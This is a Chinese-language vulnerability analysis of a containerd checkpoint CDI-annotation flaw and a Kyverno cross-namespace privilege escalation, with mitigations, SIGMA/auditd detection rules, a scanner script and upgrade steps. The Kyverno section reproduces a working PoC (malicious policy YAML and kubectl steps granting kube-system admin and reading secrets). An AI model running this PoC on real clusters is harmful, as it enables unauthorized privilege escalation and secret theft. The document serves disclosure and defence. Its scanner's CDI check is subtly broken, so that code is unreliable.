一、CVE-2026-53492:containerd CRI checkpoint CDI 注解走私
1.1 漏洞基本信息
| 属性 | 值 |
|---|---|
| CVE 编号 | CVE-2026-53492 |
| GitHub Advisory | GHSA-33vj-92qq-66hc |
| CVSS 3.1 (NIST) | 9.6 CRITICAL — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N |
| CVSS 4.0 (GitHub CNA) | 8.4 HIGH |
| CWE | CWE-20(输入验证不当)、CWE-863(不正确的授权) |
| 报告者 | Robert Prast (@robertprast) |
| 发布日期 | 2026-06-18(GitHub),2026-07-01(NVD) |
1.2 受影响版本与修复版本
| 版本范围 | 状态 |
|---|---|
| >= 2.1.0, < 2.1.9 | 受影响 |
| >= 2.2.0, < 2.2.5 | 受影响 |
| >= 2.3.0, < 2.3.2 | 受影响 |
| 2.1.9 / 2.2.5 / 2.3.2 | 已修复 |
1.3 漏洞根因:信任边界混淆
containerd 的 CRI(Container Runtime Interface)实现在容器恢复(restore)阶段,不当信任了来自不可信 checkpoint 镜像元数据中的 CDI(Container Device Interface)注解。
核心信任模型问题:
正常容器创建流程(安全):
┌──────────────┐ ┌──────────────────────┐ ┌─────────────────┐
│ Pod 创建请求 │────▶│ K8s API Server │────▶│ 准入控制器校验 │
│ (用户可控) │ │ (RBAC + 准入控制) │ │ (设备插件强制) │
└──────────────┘ └──────────────────────┘ └────────┬────────┘
│
▼
┌───────────────┐
│ containerd │
│ 创建容器 │
│ (安全: 仅使用 │
│ 准入后规范) │
└───────────────┘
Checkpoint 恢复流程(漏洞):
┌──────────────┐ ┌──────────────────────┐ ┌─────────────────┐
│ Checkpoint │────▶│ containerd CRI │────▶│ 恢复容器 │
│ 镜像元数据 │ │ (恢复阶段) │ │ (危险: 保留 │
│ (用户可控!) │ │ ❌ 不校验CDI注解 │ │ checkpoint中的 │
│ │ │ 直接信任 │ │ 恶意CDI注解) │
└──────────────┘ └──────────────────────┘ └─────────────────┘
关键问题:checkpoint 元数据是用户可控的,而设备访问的运行时强制执行是系统控制的。containerd 未能在这两个信任边界之间执行安全校验——它保留了 checkpoint 归档中的 CDI 相关注解,而不是仅依赖 Pod 创建时的规范。
1.4 CDI(Container Device Interface)背景
CDI 是容器设备接口标准,允许在容器中安全地暴露特定设备(GPU、FPGA、SR-IOV NIC 等):
# CDI 规范示例:暴露 GPU 设备
apiVersion: cdi.k8s.io/v1alpha1
kind: Device
metadata:
name: gpu-0
spec:
containerEdits:
deviceNodes:
- path: /dev/nvidia0
env:
- name: NVIDIA_VISIBLE_DEVICES
value: "0"
mounts:
- hostPath: /usr/lib/x86_64-linux-gnu/libnvidia-ml.so
containerPath: /usr/lib/x86_64-linux-gnu/libnvidia-ml.so
正常情况下,CDI 注解由 K8s 设备插件在 Pod 创建时通过准入控制器注入,用户无法直接指定。但通过 checkpoint 走私,攻击者可以绕过这一控制。
1.5 五步攻击链
Step 1: 初始访问
攻击者拥有合法的 Pod 创建权限(开发者级权限即可)
Step 2: Checkpoint 创建
使用 CRIU 对容器执行 checkpoint,创建完整状态快照
┌──────────────────────────────────────────────────┐
│ crictl checkpoint --export=malicious.tar <pod-id>│
└──────────────────────────────────────────────────┘
Step 3: 恶意注解注入
在 checkpoint 元数据中构造恶意 CDI 注解
┌──────────────────────────────────────────────────────┐
│ # 修改 checkpoint 元数据 │
│ # 注入通常在 Pod 创建时会被拒绝的设备访问 │
│ annotations: │
│ cdi.kubernetes.io/device: "vendor.com/gpu=all" │
│ cdi.kubernetes.io/resource: "nvidia.com/gpu:8" │
└──────────────────────────────────────────────────────┘
Step 4: 恢复利用
containerd 从 checkpoint 恢复容器时,保留 checkpoint 归档中的
CDI 注解,而非根据 Pod 原始创建时规范进行验证
Step 5: 安全绕过
任意 CDI 条目被注入,绕过:
- Kubernetes 设备插件强制执行
- 资源配额限制
- 命名空间隔离控制
1.6 利用前置条件
| 条件 | 说明 |
|---|---|
| Pod 创建权限 | 开发者级访问即可(许多开发工作流中的常见权限) |
| containerd 配置 | 必须支持容器 checkpointing(用于实时迁移的场景越来越常见) |
| CDI 启用 | 节点必须启用 CDI,且存在匹配的主机 CDI 规范 |
| 如果 CDI 未启用或缺少敏感设备规范,则不受影响 |
1.7 缓解措施
官方 Workaround:
# 如果节点不使用 CDI 功能,从默认目录移除主机 CDI 规范
# 这将消除此漏洞的可利用性
rm -f /etc/cdi/*
rm -f /var/run/cdi/*
# 或者临时迁移到非标准路径
mv /etc/cdi /etc/cdi.disabled
mv /var/run/cdi /var/run/cdi.disabled
禁用 Checkpoint/Restore:
# /etc/containerd/config.toml
[plugins."io.containerd.grpc.v1.cri"]
# 禁用容器 checkpoint 功能
enable_criu_support = false
收紧 RBAC:
# 移除不必要的 Pod checkpoint 权限
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: restricted-developer
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["create", "get", "list", "watch"]
# 不包含 "checkpoint" 操作
强制 Pod Security Standards:
# 强制 restricted 策略
kubectl label --overwrite ns production \
pod-security.kubernetes.io/enforce=restricted
kubectl label --overwrite ns production \
pod-security.kubernetes.io/enforce-version=latest
1.8 检测方法
SIGMA 规则:检测带有 CDI 注解的 Pod 创建操作
title: Detect CDI Annotation Smuggling in containerd Checkpoint Restore
status: experimental
logsource:
product: kubernetes
service: audit
detection:
selection:
verb: 'create'
objectRef:
resource: 'pods'
requestObject:
metadata:
annotations|contains:
- 'cdi.kubernetes.io'
condition: selection
level: high
description: >
检测 Pod 创建或恢复操作中包含 CDI 注解的情况,
可能表明 CVE-2026-53492 的利用尝试
Auditd 规则:检测 CRIU checkpoint/restore 进程活动
title: Detect CRIU Checkpoint/Restore Activity
status: experimental
logsource:
product: linux
service: auditd
detection:
selection:
exe|endswith:
- '/criu'
- '/containerd-shim-runc-v2'
argv|contains:
- 'restore'
- 'dump'
- 'checkpoint'
condition: selection
level: medium
重要提醒:修复后,可能需要重新创建从不可信 checkpoint 恢复的现有容器,以移除已走私的配置。
二、CVE-2026-54523:Kyverno 策略生成跨命名空间权限提升
2.1 漏洞基本信息
| 属性 | 值 |
|---|---|
| CVE 编号 | CVE-2026-54523 |
| GitHub Advisory | GHSA-79gf-7frw-68m9 |
| CVSS 3.1 | 9.6 CRITICAL — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N |
| 报告者 | 0xVijay |
| 发布日期 | 2026-07-13(GitHub),2026-07-17(公开报道) |
| 受影响版本 | <= v1.18.1 |
| 修复版本 | v1.18.2 |
| 复现确认 | 2026-05-20 在 kyverno/kyverno main 分支复现 |
| PoC 状态 | 官方 Advisory 含完整 PoC |
2.2 漏洞根因:GenerateResources 命名空间参数未校验
漏洞位置:pkg/cel/libs/context.go:182
GenerateResources(namespace string, dataList []map[string]any) 函数的 namespace 参数从 CEL 表达式 generator.apply("<target-namespace>", [...]) 传入时未经任何验证,经由 SDK 绑定 github.com/kyverno/sdk cel/libs/generator/impl.go:apply_generator_string_list 到达。
// pkg/cel/libs/context.go:182 — 漏洞函数
func GenerateResources(namespace string, dataList []map[string]any) error {
// ❌ namespace 参数未经任何校验!
// 攻击者可以传入任意命名空间,包括 "kube-system"
for _, data := range dataList {
obj := &unstructured.Unstructured{Object: data}
obj.SetNamespace(namespace) // 直接设置为目标命名空间
// ... 创建资源
}
return nil
}
2.3 准入校验器的缺陷
NamespacedGeneratingPolicy 的准入校验器位于 pkg/cel/policies/gpol/validate.go:Validate(),但它仅检查策略能否编译通过以及 matchConstraints 是否非空:
// pkg/cel/policies/gpol/validate.go — 有缺陷的校验器
func (v *Validator) Validate(policy *NamespacedGeneratingPolicy) field.ErrorList {
var errs field.ErrorList
// ✅ 检查:策略能否编译通过
// ✅ 检查:matchConstraints 是否非空
// ❌ 缺失:未检查 generator.apply() 的 namespace 参数
// 是否与策略自身的命名空间匹配
return errs
}
2.4 对比正确实现
Kyverno 中其他类似功能有正确的防护,但 GenerateResources 缺少:
// pkg/engine/context/loaders/configmap.go:102 — 正确拒绝跨命名空间引用
func (l *configMapLoader) Load(name, namespace string) (*corev1.ConfigMap, error) {
if l.policyNamespace != "" && namespace != "" && namespace != l.policyNamespace {
return nil, fmt.Errorf("namespaced policy cannot reference configmap from different namespace")
}
// ...
}
// pkg/engine/apicall/apicall.go:73-82 — 正确通过正则强制命名空间段匹配
func validateNamespace(policyNs, targetNs string) error {
pattern := fmt.Sprintf("^%s$", regexp.QuoteMeta(policyNs))
matched, _ := regexp.MatchString(pattern, targetNs)
if !matched {
return fmt.Errorf("namespace mismatch")
}
return nil
}
2.5 权限基础
后台控制器的 ClusterRole(定义在 charts/kyverno/templates/background-controller/clusterrole.yaml)默认拥有对以下资源的集群级 create/update/patch/delete 权限:
# charts/kyverno/values.yaml:1436-1457 — 后台控制器权限
backgroundController:
clusterRole:
extraResources:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["rolebindings", "roles"]
verbs: ["create", "update", "patch", "delete"]
- apiGroups: ["networking.k8s.io"]
resources: ["networkpolicies"]
verbs: ["create", "update", "patch", "delete"]
- apiGroups: [""]
resources: ["configmaps"]
verbs: ["create", "update", "patch", "delete"]
2.6 完整 PoC(来自官方 GitHub Advisory)
前置条件:
- 命名空间
tenant-ns存在 - 攻击者在
tenant-ns中拥有namespacedgeneratingpolicies.policies.kyverno.io的create权限
攻击架构图:
┌─────────────────────────────────────────────────────────────┐
│ 命名空间: tenant-ns (攻击者控制) │
│ │
│ ┌─────────────────────────────────────────┐ │
│ │ NamespacedGeneratingPolicy │ │
│ │ name: cross-ns-escalate │ │
│ │ namespace: tenant-ns │ │
│ │ spec: │ │
│ │ matchConstraints: │ │
│ │ resourceRules: │ │
│ │ - resources: ["configmaps"] │ │
│ │ operations: ["CREATE"] │ │
│ │ generation: │ │
│ │ - expression: | │ │
│ │ generator.apply("kube-system", [ │ ◀── 跨命名空间!│
│ │ { │ │
│ │ kind: "RoleBinding", │ │
│ │ metadata: { │ │
│ │ name: "tenant-escalation", │ │
│ │ namespace: "kube-system" │ │
│ │ }, │ │
│ │ subjects: [{ │ │
│ │ name: "attacker", │ │
│ │ namespace: "tenant-ns" │ │
│ │ }], │ │
│ │ roleRef: { │ │
│ │ name: "admin" │ ◀── cluster │
│ │ } │ admin! │
│ │ } │ │
│ │ ]) │ │
│ └─────────────────────┬───────────────────┘ │
│ │ │
│ Step 1: 创建 ConfigMap 触发策略 │
│ │ │
└────────────────────────┼────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Kyverno 后台控制器 (cluster-admin 权限) │
│ │
│ 接收策略触发事件 │
│ 执行 generator.apply("kube-system", [...]) │
│ ❌ 不校验 namespace 是否与策略命名空间匹配 │
│ ✅ 直接在 kube-system 中创建 RoleBinding │
└────────────────────────┬────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ 命名空间: kube-system │
│ │
│ ┌─────────────────────────────────────────┐ │
│ │ RoleBinding: tenant-escalation │ │
│ │ subjects: │ │
│ │ - kind: ServiceAccount │ │
│ │ name: attacker │ │
│ │ namespace: tenant-ns │ │
│ │ roleRef: │ │
│ │ kind: ClusterRole │ │
│ │ name: admin │ ◀── kube- │
│ └─────────────────────────────────────────┘ system │
│ admin! │
└─────────────────────────────────────────────────────────────┘
恶意策略 YAML:
apiVersion: policies.kyverno.io/v1beta1
kind: NamespacedGeneratingPolicy
metadata:
name: cross-ns-escalate
namespace: tenant-ns # 策略在 tenant-ns 命名空间
spec:
matchConstraints:
resourceRules:
- apiGroups: [""]
apiVersions: ["v1"]
resources: ["configmaps"]
operations: ["CREATE"]
generation:
- expression: |
generator.apply("kube-system", [ # ← 跨命名空间!
{
"apiVersion": "rbac.authorization.k8s.io/v1",
"kind": "RoleBinding",
"metadata": {
"name": "tenant-escalation",
"namespace": "kube-system"
},
"subjects": [{
"kind": "ServiceAccount",
"name": "attacker",
"namespace": "tenant-ns"
}],
"roleRef": {
"apiGroup": "rbac.authorization.k8s.io",
"kind": "ClusterRole",
"name": "admin"
}
}
])
利用步骤:
# Step 1: 创建攻击者 ServiceAccount
kubectl -n tenant-ns create serviceaccount attacker
# Step 2: 应用恶意策略
kubectl apply -f malicious-policy.yaml
# Step 3: 在 tenant-ns 中创建任意 ConfigMap 以触发策略
kubectl -n tenant-ns create configmap trigger --from-literal=key=value
# Step 4: 验证 kube-system 中的 RoleBinding 已创建
kubectl -n kube-system get rolebinding tenant-escalation
# Step 5: 攻击者现在拥有 kube-system 的 admin 权限
kubectl --as=system:serviceaccount:tenant-ns:attacker \
-n kube-system get secrets
2.7 影响范围
| 影响维度 | 说明 |
|---|---|
| 权限提升路径 | 命名空间级用户 → 任意命名空间 admin |
| 可创建的资源 | Roles、RoleBindings、ConfigMaps、NetworkPolicies、Ingresses |
| 目标命名空间 | 任意(包括 kube-system、kube-public) |
| 可授予的权限 | 任意 ClusterRole(包括 cluster-admin) |
| 野外利用 | 未确认(但 PoC 已公开) |
2.8 缓解措施
# P0: 立即升级至 Kyverno v1.18.2
helm upgrade kyverno kyverno/kyverno --version 1.18.2
# P1: 审查谁拥有 NamespacedGeneratingPolicy 创建权限
kubectl get namespacedgeneratingpolicies.policies.kyverno.io --all-namespaces
kubectl auth can-i create namespacedgeneratingpolicies.policies.kyverno.io --as=<user> -n <ns>
# P1: 撤销不必要的访问
kubectl delete clusterrolebinding <binding> # 移除不必要的 NGP 创建权限
# P2: 审计已有的 NamespacedGeneratingPolicy
kubectl get namespacedgeneratingpolicies.policies.kyverno.io --all-namespaces -o yaml | \
grep -A5 "generator.apply"
三、两个漏洞的攻击面对比
| 维度 | CVE-2026-53492 (containerd) | CVE-2026-54523 (Kyverno) |
|---|---|---|
| 攻击层级 | 容器运行时隔离 | 策略引擎权限模型 |
| 前置权限 | Pod 创建权限 | NGP 创建权限 |
| 利用复杂度 | 中(需要 CRIU + CDI 环境) | 低(仅需 kubectl) |
| PoC 可用性 | 无公开 PoC | 官方 Advisory 含完整 PoC |
| 影响范围 | 设备访问/资源配额绕过 | 任意命名空间 cluster-admin |
| 野外利用 | 未确认 | 未确认(PoC 已公开) |
| 修复难度 | 升级 containerd + 移除 CDI 规范 | 升级 Kyverno |
| 检测难度 | 中(需审计 CRIU 活动) | 低(审计 NGP 创建) |
四、K8s 控制面安全加固框架
4.1 纵深防御架构
┌─────────────────────────────────────────────────────────────┐
│ K8s 控制面安全加固框架 │
├─────────────────────────────────────────────────────────────┤
│ │
│ Layer 1: RBAC 最小权限 │
│ ├── 移除不必要的 Pod checkpoint 权限 │
│ ├── 收紧 NamespacedGeneratingPolicy 创建权限 │
│ └── 定期审计 ClusterRoleBinding │
│ │
│ Layer 2: 准入控制 │
│ ├── 校验准入 Webhook 拒绝带 CDI 注解的 Pod │
│ ├── 校验 NGP 的 generator.apply namespace 参数 │
│ └── 强制 Pod Security Standards (restricted) │
│ │
│ Layer 3: 运行时隔离 │
│ ├── 禁用不必要的 CRIU checkpoint 功能 │
│ ├── 移除不使用的 CDI 规范 │
│ └── 容器以非 root 运行 + seccomp 配置 │
│ │
│ Layer 4: 审计与检测 │
│ ├── K8s 审计日志:监控 CRD 端点异常 CREATE/UPDATE │
│ ├── Auditd:监控 CRIU 进程活动 │
│ ├── SIGMA 规则:检测 CDI 注解走私 │
│ └── 行为分析:检测 NGP 创建后的异常资源生成 │
│ │
│ Layer 5: 补丁管理 │
│ ├── containerd >= 2.1.9 / 2.2.5 / 2.3.2 │
│ ├── Kyverno >= v1.18.2 │
│ └── 定期扫描集群组件版本 │
│ │
└─────────────────────────────────────────────────────────────┘
4.2 集群安全扫描脚本
#!/usr/bin/env python3
"""K8s 控制面安全扫描脚本"""
import subprocess
import json
import sys
def check_containerd_version():
"""检查 containerd 版本是否受 CVE-2026-53492 影响"""
result = subprocess.run(
["kubectl", "get", "nodes", "-o", "jsonpath={.items[*].status.nodeInfo.containerRuntimeVersion}"],
capture_output=True, text=True
)
versions = result.stdout.strip().split()
vulnerable = []
for v in versions:
# 解析 containerd://1.6.x 或 containerd://2.x.x 格式
if "containerd://" in v:
ver = v.replace("containerd://", "")
parts = ver.split(".")
if len(parts) >= 3:
major, minor, patch = int(parts[0]), int(parts[1]), int(parts[2])
# 检查是否在受影响版本范围内
if major == 2:
if minor == 1 and patch < 9:
vulnerable.append(v)
elif minor == 2 and patch < 5:
vulnerable.append(v)
elif minor == 3 and patch < 2:
vulnerable.append(v)
return vulnerable
def check_kyverno_version():
"""检查 Kyverno 版本是否受 CVE-2026-54523 影响"""
result = subprocess.run(
["kubectl", "get", "deployment", "-n", "kyverno", "kyverno-admission-controller",
"-o", "jsonpath={.spec.template.spec.containers[0].image}"],
capture_output=True, text=True
)
image = result.stdout.strip()
if "kyverno" in image:
# 提取版本号
parts = image.split(":")
if len(parts) >= 2:
ver = parts[-1]
v_parts = ver.split(".")
if len(v_parts) >= 3:
major, minor, patch = int(v_parts[0]), int(v_parts[1]), int(v_parts[2])
if major == 1 and minor == 18 and patch < 2:
return True, ver
elif major == 1 and minor < 18:
return True, ver
return False, image
def check_cdi_enabled():
"""检查节点是否启用了 CDI"""
result = subprocess.run(
["kubectl", "debug", "node/$(kubectl get nodes -o jsonpath='{.items[0].metadata.name}')",
"--", "ls", "/etc/cdi/", "/var/run/cdi/"],
capture_output=True, text=True, shell=True
)
return result.returncode == 0
def check_ngp_permissions():
"""检查哪些用户拥有 NamespacedGeneratingPolicy 创建权限"""
result = subprocess.run(
["kubectl", "auth", "can-i", "--list", "-A"],
capture_output=True, text=True
)
ngp_users = []
for line in result.stdout.split("\n"):
if "namespacedgeneratingpolicies" in line.lower():
ngp_users.append(line.strip())
return ngp_users
if __name__ == "__main__":
print("=" * 60)
print("K8s 控制面安全扫描")
print("=" * 60)
# CVE-2026-53492 检查
print("\n[1] CVE-2026-53492 (containerd CDI 注解走私)")
vulnerable_ctd = check_containerd_version()
if vulnerable_ctd:
print(f" ⚠️ 受影响版本: {vulnerable_ctd}")
print(" 建议: 升级至 containerd >= 2.1.9 / 2.2.5 / 2.3.2")
else:
print(" ✅ containerd 版本不受影响或已修复")
cdi_enabled = check_cdi_enabled()
if cdi_enabled:
print(" ⚠️ 节点启用了 CDI,建议评估是否必要")
# CVE-2026-54523 检查
print("\n[2] CVE-2026-54523 (Kyverno 策略生成提权)")
kyverno_vulnerable, kyverno_ver = check_kyverno_version()
if kyverno_vulnerable:
print(f" ⚠️ Kyverno 版本 {kyverno_ver} 受影响")
print(" 建议: 升级至 Kyverno >= v1.18.2")
else:
print(f" ✅ Kyverno 版本 {kyverno_ver} 不受影响")
ngp_users = check_ngp_permissions()
if ngp_users:
print(f" ℹ️ 拥有 NGP 创建权限的用户: {ngp_users}")
print("\n" + "=" * 60)
print("扫描完成")
五、版本对照与升级路径
containerd 升级路径
| 当前版本 | 目标版本 | 方式 |
|---|---|---|
| 2.1.0 - 2.1.8 | 2.1.9 | apt upgrade containerd / yum update containerd |
| 2.2.0 - 2.2.4 | 2.2.5 | 同上 |
| 2.3.0 - 2.3.1 | 2.3.2 | 同上 |
| < 2.1.0 | 不受影响 | 无需操作 |
Kyverno 升级路径
# Helm 升级
helm repo update
helm upgrade kyverno kyverno/kyverno \
--namespace kyverno \
--version 1.18.2 \
--reuse-values
# 验证升级
kubectl -n kyverno get deployment kyverno-admission-controller \
-o jsonpath='{.spec.template.spec.containers[0].image}'
# 重启所有 Kyverno 组件
kubectl -n kyverno rollout restart deployment
免责声明
本文仅供安全研究和技术学习使用。文中涉及的漏洞利用技术、PoC 代码和攻击链分析仅用于防御目的,帮助安全从业者理解 Kubernetes 生态的安全风险并制定防御策略。请勿将本文内容用于任何非法用途。所有漏洞信息均来自公开披露的 GitHub Security Advisory 和 NVD。相关漏洞已在受影响产品的最新版本中修复。读者应在合法授权的环境下进行安全测试,并遵守当地法律法规。
浙公网安备 33010602011771号